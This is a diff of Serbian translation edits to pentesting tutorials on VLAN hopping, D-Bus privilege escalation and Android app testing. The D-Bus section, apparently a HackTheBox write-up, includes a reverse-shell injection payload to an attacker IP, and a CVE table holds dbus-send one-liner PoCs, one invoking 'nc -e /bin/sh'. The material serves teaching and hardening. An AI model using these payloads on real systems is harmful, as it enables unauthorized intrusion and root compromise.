Cisco switch-evi koji drže DTP uključenim rado će pregovarati trunk ako partner tvrdi da je switch. Kreiranje jednog **DTP “desirable”** ili **“trunk”** okvira pretvara pristupni port u 802.1Q trunk koji nosi *sve* dozvoljene VLAN-ove.
|
||||
Cisco switch-evi koji drže DTP omogućeno rado će pregovarati trunk ako peer tvrdi da je switch. Kreiranje jednog **DTP “desirable”** ili **“trunk”** okvira pretvara pristupni port u 802.1Q trunk koji nosi *sve* dozvoljene VLAN-ove.
|
||||
|
||||
*Yersinia* i nekoliko PoC-ova automatizuju proces:
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel više ne zahteva *vconfig*; umesto toga koristite *ip link*:
|
||||
Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel-i više ne zahtevaju *vconfig*; umesto toga koristite *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
@ -86,10 +86,10 @@ python3 DoubleTagging.py \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa native VLAN.
|
||||
2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN 20.
|
||||
1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa nativnim VLAN-om.
|
||||
2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN-u 20.
|
||||
|
||||
Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju native VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire.
|
||||
Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju nativni VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
|
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### Connections
|
||||
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Kada proces uspostavi vezu sa autobusom, autobus dodeljuje toj vezi posebnu naziv autobusa koji se zove _jedinstveno ime veze_. Imena autobusa ovog tipa su nepromenljiva—garantovano je da se neće promeniti sve dok veza postoji—i, što je još važnije, ne mogu se ponovo koristiti tokom životnog veka autobusa. To znači da nijedna druga veza sa tim autobusom nikada neće imati dodeljeno takvo jedinstveno ime veze, čak i ako isti proces zatvori vezu sa autobusom i kreira novu. Jedinstvena imena veza su lako prepoznatljiva jer počinju sa—inače zabranjenim—dvotačkom.
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Kada proces uspostavi vezu sa autobusom, autobus dodeljuje toj vezi poseban naziv autobusa koji se zove _jedinstveni naziv veze_. Nazivi autobusa ovog tipa su nepromenljivi—garantovano je da se neće promeniti sve dok veza postoji—i, što je još važnije, ne mogu se ponovo koristiti tokom životnog veka autobusa. To znači da nijedna druga veza sa tim autobusom nikada neće imati dodeljen takav jedinstveni naziv veze, čak i ako isti proces zatvori vezu sa autobusom i kreira novu. Jedinstveni nazivi veze su lako prepoznatljivi jer počinju sa—inače zabranjenim—dvotačkom.
|
||||
|
||||
### Service Object Info
|
||||
|
||||
@ -150,7 +150,7 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
Napomena o metodi `.Block` interfejsa `htb.oouch.Block` (onome koji nas zanima). "s" u drugim kolonama može značiti da se očekuje string.
|
||||
Napomena o metodi `.Block` interfejsa `htb.oouch.Block` (onaj koji nas zanima). "s" u drugim kolonama može značiti da očekuje string.
|
||||
|
||||
### Monitor/Capture Interface
|
||||
|
||||
@ -159,7 +159,7 @@ Sa dovoljno privilegija (samo `send_destination` i `receive_sender` privilegije
|
||||
Da biste **monitorisali** **komunikaciju** potrebno je da budete **root.** Ako i dalje imate problema kao root, proverite [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) i [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
> [!WARNING]
|
||||
> Ako znate kako da konfigurišete D-Bus konfiguracioni fajl da **omogući ne-root korisnicima da prisluškuju** komunikaciju, molim vas **kontaktirajte me**!
|
||||
> Ako znate kako da konfigurišete D-Bus konfiguracioni fajl da **omogući korisnicima koji nisu root da prisluškuju** komunikaciju, molim vas **kontaktirajte me**!
|
||||
|
||||
Različiti načini za monitorisanje:
|
||||
```bash
|
||||
@ -194,7 +194,7 @@ Ako ima previše informacija na busu, prosledite pravilo za podudaranje ovako:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Moguće je navesti više pravila. Ako poruka odgovara _bilo kojem_ od pravila, poruka će biti odštampana. Ovako:
|
||||
Više pravila može biti navedeno. Ako poruka odgovara _bilo kojem_ od pravila, poruka će biti odštampana. Kao ovde:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
@ -202,7 +202,7 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Pogledajte [D-Bus dokumentaciju](http://dbus.freedesktop.org/doc/dbus-specification.html) za više informacija o sintaksi pravila za usklađivanje.
|
||||
Pogledajte [D-Bus dokumentaciju](http://dbus.freedesktop.org/doc/dbus-specification.html) za više informacija o sintaksi pravila podudaranja.
|
||||
|
||||
### Više
|
||||
|
||||
@ -210,7 +210,7 @@ Pogledajte [D-Bus dokumentaciju](http://dbus.freedesktop.org/doc/dbus-specificat
|
||||
|
||||
## **Ranjavajući Scenario**
|
||||
|
||||
Kao korisnik **qtc unutar hosta "oouch" iz HTB** možete pronaći **neočekivanu D-Bus konfiguracionu datoteku** smeštenu u _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
Kao korisnik **qtc unutar hosta "oouch" sa HTB** možete pronaći **neočekivanu D-Bus konfiguracionu datoteku** smeštenu u _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
@ -248,7 +248,7 @@ return render_template('hacker.html', title='Hacker')
|
||||
Kao što možete videti, **povezuje se na D-Bus interfejs** i šalje **"Block" funkciji** "client_ip".
|
||||
|
||||
Na drugoj strani D-Bus veze se nalazi neki C kompajlirani binarni program. Ovaj kod **sluša** na D-Bus vezi **za IP adresu i poziva iptables putem `system` funkcije** da blokira zadatu IP adresu.\
|
||||
**Poziv na `system` je namerno ranjiv na injekciju komandi**, tako da će payload poput sledećeg stvoriti reverznu ljusku: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
**Poziv `system` je namerno ranjiv na injekciju komandi**, tako da će payload poput sledećeg stvoriti reverznu ljusku: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Iskoristite to
|
||||
|
||||
@ -262,7 +262,7 @@ r = sd_bus_add_object_vtable(bus,
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
Takođe, u liniji 57 možete pronaći da je **jedini registrovani metod** za ovu D-Bus komunikaciju nazvan `Block`(_**Zato će u sledećem odeljku biti poslati payload-ovi na objekat servisa `htb.oouch.Block`, interfejs `/htb/oouch/Block` i naziv metoda `Block`**_):
|
||||
Takođe, u liniji 57 možete pronaći da je **jedini registrovani metod** za ovu D-Bus komunikaciju nazvan `Block`(_**Zato će u sledećem odeljku biti poslati payload-ovi objektu servisa `htb.oouch.Block`, interfejsu `/htb/oouch/Block` i nazivu metoda `Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
@ -283,9 +283,9 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` je alat koji se koristi za slanje poruka na “Message Bus”
|
||||
- Message Bus – Softver koji koriste sistemi za olakšavanje komunikacije između aplikacija. Povezan je sa Message Queue (poruke su poređane u sekvenci), ali u Message Bus poruke se šalju u modelu pretplate i takođe su vrlo brze.
|
||||
- Message Bus – Softver koji koriste sistemi za olakšavanje komunikacije između aplikacija. Povezan je sa Message Queue (poruke su poređane u redosledu), ali u Message Bus poruke se šalju u modelu pretplate i takođe veoma brzo.
|
||||
- “-system” oznaka se koristi da označi da je to sistemska poruka, a ne poruka sesije (po defaultu).
|
||||
- “–print-reply” oznaka se koristi da ispravno odštampa našu poruku i prima sve odgovore u formatu koji je lako čitljiv.
|
||||
- “–print-reply” oznaka se koristi da ispravno odštampa našu poruku i primi sve odgovore u formatu koji je lako čitljiv.
|
||||
- “–dest=Dbus-Interface-Block” Adresa Dbus interfejsa.
|
||||
- “–string:” – Tip poruke koju želimo da pošaljemo interfejsu. Postoji nekoliko formata za slanje poruka kao što su double, bytes, booleans, int, objpath. Od ovoga, “object path” je koristan kada želimo da pošaljemo putanju do datoteke Dbus interfejsu. U ovom slučaju možemo koristiti posebnu datoteku (FIFO) da prosledimo komandu interfejsu u ime datoteke. “string:;” – Ovo je da ponovo pozovemo object path gde stavljamo FIFO reverse shell datoteku/komandu.
|
||||
|
||||
@ -451,7 +451,7 @@ sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
|
||||
### uptux.py
|
||||
* Autor: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* Skripta samo za Python koja traži *pisive* putanje u systemd jedinicama **i** previše permisivnim D-Bus politikama (npr. `send_destination="*"`).
|
||||
* Skripta samo u Python-u koja traži *pisive* putanje u systemd jedinicama **i** previše permisivnim D-Bus politikama (npr. `send_destination="*"`).
|
||||
* Brza upotreba:
|
||||
```bash
|
||||
python3 uptux.py -n # pokreni sve provere ali ne piši log fajl
|
||||
@ -465,7 +465,7 @@ python3 uptux.py -d # omogući detaljan debug izlaz
|
||||
|
||||
## Značajne D-Bus greške u eskalaciji privilegija (2024-2025)
|
||||
|
||||
Pratiti nedavno objavljene CVE pomaže u prepoznavanju sličnih nesigurnih obrazaca u prilagođenom kodu. Sledeći problemi sa lokalnom EoP visokog uticaja proizašli su iz nedostatka autentifikacije/ovlašćenja na **sistemskom busu**:
|
||||
Pratiti nedavno objavljene CVE pomaže u prepoznavanju sličnih nesigurnih obrazaca u prilagođenom kodu. Sledeći problemi sa lokalnom EoP visokog uticaja proizašli su iz nedostatka autentifikacije/ovlašćenja na **sistem busu**:
|
||||
|
||||
| Godina | CVE | Komponenta | Osnovni uzrok | Jednolinijski PoC |
|
||||
|--------|-----|------------|---------------|-------------------|
|
||||
@ -474,7 +474,7 @@ Pratiti nedavno objavljene CVE pomaže u prepoznavanju sličnih nesigurnih obraz
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Javni `Dispatch` metod nema nikakve ACL-ove → napadač može narediti *package-manager* radniku da instalira proizvoljne RPM-ove. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Obrasci koje treba primetiti:
|
||||
1. Usluga se izvršava **kao root na sistemskom busu**.
|
||||
1. Usluga se izvršava **kao root na sistem busu**.
|
||||
2. Nema PolicyKit provere (ili je zaobiđena putem proxy-a).
|
||||
3. Metod na kraju vodi do `system()`/instalacije paketa/re-konfiguracije uređaja → izvršavanje koda.
|
||||
|
||||
@ -489,9 +489,9 @@ Koristite `dbusmap --enable-probes` ili ručni `busctl call` da potvrdite da li
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Zahtevajte Polkit za opasne metode – čak i *root* proxy-e bi trebali proslediti *caller* PID `polkit_authority_check_authorization_sync()` umesto svog.
|
||||
* Smanjite privilegije u dugotrajnim pomoćnicima (koristite `sd_pid_get_owner_uid()` da prebacite imenske prostore nakon povezivanja na bus).
|
||||
* Smanjite privilegije u dugotrajnim pomoćnicima (koristite `sd_pid_get_owner_uid()` da prebacite imena prostora nakon povezivanja na bus).
|
||||
* Ako ne možete ukloniti uslugu, barem je *ograničite* na posvećenu Unix grupu i ograničite pristup u njenoj XML politici.
|
||||
* Plavi tim: omogućite trajno snimanje sistemskog busa sa `busctl capture --output=/var/log/dbus_$(date +%F).pcap` i uvezite u Wireshark za detekciju anomalija.
|
||||
* Plavi tim: omogućite trajno snimanje sistem busa sa `busctl capture --output=/var/log/dbus_$(date +%F).pcap` i uvezite u Wireshark za detekciju anomalija.
|
||||
|
||||
---
|
||||
|
||||
|
@ -19,13 +19,13 @@ Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili k
|
||||
|
||||
## Smali
|
||||
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
|
||||
## Druge zanimljive trikove
|
||||
|
||||
- [Lažiranje vaše lokacije u Play Store-u](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-bazirani pristup bez root-a)](shizuku-privileged-api.md)
|
||||
- [Shizuku Privileged API (ADB-bazirani pristup bez root privilegija)](shizuku-privileged-api.md)
|
||||
- [Iskorišćavanje nesigurnih mehanizama ažuriranja unutar aplikacije](insecure-in-app-update-rce.md)
|
||||
- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Ekstrakcija APK-a sa uređaja:
|
||||
@ -64,7 +64,7 @@ Samo gledajući **stringove** APK-a možete tražiti **lozinke**, **URL-ove** ([
|
||||
|
||||
**Firebase**
|
||||
|
||||
Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisano. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisan. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
@ -72,20 +72,20 @@ Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konf
|
||||
|
||||
**Ranjivosti** identifikovane iz **Manifest.xml** uključuju:
|
||||
|
||||
- **Debuggable Applications**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Debuggable Applications**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečili neovlašćeni backup podataka putem adb, posebno kada je usb debugging omogućen.
|
||||
- **Network Security**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
|
||||
- **Exported Activities and Services**: Identifikacija eksportovanih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
|
||||
- **Content Providers and FileProviders**: Izloženi provajderi sadržaja mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders-a takođe treba biti pažljivo ispitana.
|
||||
- **Content Providers and FileProviders**: Izloženi provajderi sadržaja mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana.
|
||||
- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se upravlja URL shemama za ranjivosti unosa.
|
||||
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane verzije Android-a, ističući važnost ne podržavanja zastarelih, ranjivih verzija Android-a iz bezbednosnih razloga.
|
||||
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane verzije Android-a, ističući važnost ne podržavanja zastarelih, ranjivih verzija Android-a iz sigurnosnih razloga.
|
||||
|
||||
Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo prikrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
|
||||
U suštini, to **oslepljuje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
|
||||
U suštini, to je **slabljenje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
|
||||
|
||||
Pronađite više informacija u:
|
||||
|
||||
@ -107,7 +107,7 @@ android-task-hijacking.md
|
||||
|
||||
**Internal Storage**
|
||||
|
||||
U Android-u, datoteke **pohranjene** u **internom** skladištu su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **sprovedena** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi **omogućili** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
U Android-u, datoteke **pohranjene** u **internom** skladištu su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **propisana** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispita**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
|
||||
@ -116,27 +116,27 @@ U Android-u, datoteke **pohranjene** u **internom** skladištu su **dizajnirane*
|
||||
|
||||
**External Storage**
|
||||
|
||||
Kada se radi o datotekama na **spoljnom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
|
||||
1. **Accessibility**:
|
||||
- Datoteke na spoljnjem skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
|
||||
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
|
||||
2. **Security Concerns**:
|
||||
- S obzirom na lakoću pristupa, savetuje se **da se ne čuvaju osetljive informacije** na spoljnjem skladištu.
|
||||
- Spoljno skladište može biti uklonjeno ili pristupljeno od strane bilo koje aplikacije, što ga čini manje sigurnim.
|
||||
- S obzirom na lakoću pristupa, savetuje se **da se ne čuvaju osetljive informacije** na eksternom skladištu.
|
||||
- Eksterno skladište može biti uklonjeno ili pristupljeno od strane bilo koje aplikacije, što ga čini manje sigurnim.
|
||||
3. **Handling Data from External Storage**:
|
||||
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz spoljnog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
|
||||
- Čuvanje izvršnih ili klasa datoteka na spoljnjem skladištu za dinamičko učitavanje se snažno ne preporučuje.
|
||||
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz spoljnog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksternog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
|
||||
- Čuvanje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
|
||||
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
|
||||
Spoljno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije pristup za čitanje ili pisanje datoteka druge aplikacije.
|
||||
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka na putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka u putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
|
||||
### Broken TLS
|
||||
|
||||
@ -153,7 +153,7 @@ Dobar način da testirate ovo je da pokušate da uhvatite saobraćaj koristeći
|
||||
|
||||
**Loši Procesi Upravljanja Ključevima**
|
||||
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
|
||||
**Korišćenje Nesigurnih i/ili Zastarelih Algoritama**
|
||||
|
||||
@ -162,14 +162,14 @@ Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **prove
|
||||
### Ostale provere
|
||||
|
||||
- Preporučuje se da se **obfuskira APK** kako bi se otežao posao obrnute inženjeringa napadačima.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** kako bi proverila da li je modifikovana.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a.
|
||||
|
||||
### React Native Aplikacija
|
||||
|
||||
Pročitajte sledeću stranicu da biste saznali kako lako pristupiti javascript kodu React aplikacija:
|
||||
Pročitajte sledeću stranicu da biste saznali kako lako pristupiti JavaScript kodu React aplikacija:
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -226,7 +226,7 @@ content-protocol.md
|
||||
|
||||
### Online Dinamička analiza
|
||||
|
||||
Možete napraviti **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša.
|
||||
Možete kreirati **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša.
|
||||
|
||||
Možete čak i **videti logove vaše aplikacije** na vebu i povezati se putem **adb**.
|
||||
|
||||
@ -245,7 +245,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate napraviti nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer).
|
||||
|
||||
> [!TIP]
|
||||
@ -286,7 +286,7 @@ Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja
|
||||
|
||||
**Logovi Rušenja**
|
||||
|
||||
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjeringom. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
|
||||
Kao pentester, **pokušajte da pogledate ove logove**.
|
||||
|
||||
@ -296,7 +296,7 @@ Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno *
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
